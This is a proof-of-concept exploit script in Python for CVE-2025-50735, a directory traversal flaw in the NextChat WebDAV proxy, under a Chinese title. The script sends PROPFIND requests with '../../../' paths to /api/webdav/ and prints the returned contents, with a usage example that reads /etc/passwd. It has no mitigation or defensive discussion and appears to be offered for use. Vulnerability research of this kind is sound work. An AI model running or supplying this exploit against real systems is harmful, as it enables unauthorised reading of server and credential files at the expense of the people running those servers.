CVE-2025-50735 NextChat WebDAV目录遍历漏洞

import requests import sys # CVE-2025-50735 PoC - NextChat WebDAV Directory Traversal # Target: NextChat <= 2.16.0 def exploit(target_url, file_path): """ Exploit directory traversal in NextChat WebDAV proxy Args: target_url: Base URL of vulnerable NextChat instance file_path: Path to file to read (e.g., '../../../etc/passwd') """ # Construct malicious WebDAV request with path traversal # The vulnerable endpoint is /api/webdav/[...path] traversal_path = '../../../' + file_path exploit_url = f"{target_url.rstrip('/')}/api/webdav/{traversal_path}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*', 'Destination': f'http://localhost/{traversal_path}' } try: # Send PROPFIND request (WebDAV method) response = requests.request('PROPFIND', exploit_url, headers=headers, timeout=10) print(f"[*] Request URL: {exploit_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") if response.status_code == 207 or response.status_code == 200: print("[+] Successfully retrieved file contents!") return True else: print("[-] Exploitation failed or file not accessible") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://localhost:3000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)